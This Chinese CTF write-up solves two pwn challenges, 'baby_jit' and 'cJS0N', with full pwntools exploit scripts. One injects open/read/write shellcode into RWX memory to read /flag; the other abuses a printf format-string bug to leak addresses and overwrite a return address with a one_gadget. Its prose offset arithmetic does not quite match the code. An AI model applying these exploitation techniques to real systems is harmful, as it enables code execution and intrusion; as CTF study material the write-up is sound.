baby_jit
程序禁用了execve,所以需要ORW读
代码分析
程序两个功能,一个add功能,一个exec功能。
add
add功能实际上就是创建一个堆区保存输入的内容,然后复制到dest中。没有发生溢出
exec
exec函数实际上就是mmap出了一个可读可写可执行的区域,然后经过赋值的操作最后跳转跳转过去执行。
注意观察 v7 = ((v2 + 0x100000))();
这一步实际上就是call rdx到mmap申请的区域执行,v2的值是根据上面的 v2 = (atof(s) * 12.0)得来的。通过控制输入的offset值就能控制call rdx的位置。
所以接下来的目的是将shellcode读入到mmap内存中去。
v5 = strtoull(s1 + 4, &endptr, 10);
这一步是处理我们add功能输入的内容。如果我们控制输入的内容为"add 144",那么这个函数就会将字符串形式的144转化为144整数保存到v6区域(mmap申请的可读可写可执行内存)中,也就是会保存为’\x90’,也就是nop。所以同理,如果我们在add 后面拼接上特殊的数据,那么经过stroull函数处理就会保存到v6中形成对应的汇编指令。
strtoull函数相当于u64(),将字符串转化为整数
*(v6 + 2) = v5;
再根据这一部分,所以v5会保存到v6+2处的开始,那么我们可以控制offset为3,那么3x1.2就是3.6经过atof函数转换就是3,那么call rdx就是跳转到0x100003处,那么只需要控制add 后跟上处理好的数据即可,可以执行我们输入的汇编语句。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('127.0.0.1', 10001) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
def add(content): rl(">> ") sl('1') sl(content) def exec(offset): rl(">> ") sl('2') rl("offset?\n") sl(str(offset))
sh=''' nop push rax pop rdi push rdx pop rsi pop rdx syscall ''' calc_sh= str(u64(asm(sh).ljust(8,b'\x00')))
add(f'add {calc_sh}')
exec(0.3)
payload = asm(shellcraft.cat('/flag')) payload = b'\x00'*7 + payload sl(payload)
inter()
|
cJS0N
代码分析
输入size和Json进入到菜单界面
漏洞点
测试一下1,2,3的功能没找到漏洞点,在delete data功能中发现printf格式化字符串漏洞,而且是通过输入的Data name控制参数的,并且是栈上的,可以多次利用。
思路
所以利用格式delete data功能泄露libc以及stack地址,之后就是利用格式化字符串漏洞修改返回地址为onegadget
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys import json context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('127.0.0.1', 10001) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') def show(buf): rl(">\n") sl('4') rl("Data name:\n") sl(buf)
rl("Init Data size: \n") sl(str(0x80)) rl("Your Json:\n") sl('21')
show('%27$p') rl("0x") libc_leak = int(p.recv(12),16) libc_base = libc_leak-0x24083 lg("libc_base",libc_base)
one_gadget = [0xe3afe,0xe3b01,0xe3b04] one_gadget = one_gadget[1] + libc_base lg("one_gadget",one_gadget)
show('%6$p') rl("0x") stack_leak = int(p.recv(12),16) lg("stack_leak",stack_leak)
ret_addr = stack_leak+0x38
onegadget1 = one_gadget&0xff payload = f'%{onegadget1}c%22$hhn' payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr) show(payload)
payload = f'%{(one_gadget>>8)&0xff}c%22$hhn' payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr+1) show(payload)
payload = f'%{(one_gadget>>16)&0xff}c%22$hhn' payload = payload.encode('utf-8').ljust(0x10,b'\x00') + p64(ret_addr+2) show(payload)
rl(">\n") sl('2') rl("Data name:\n") sl('aaa')
inter()
|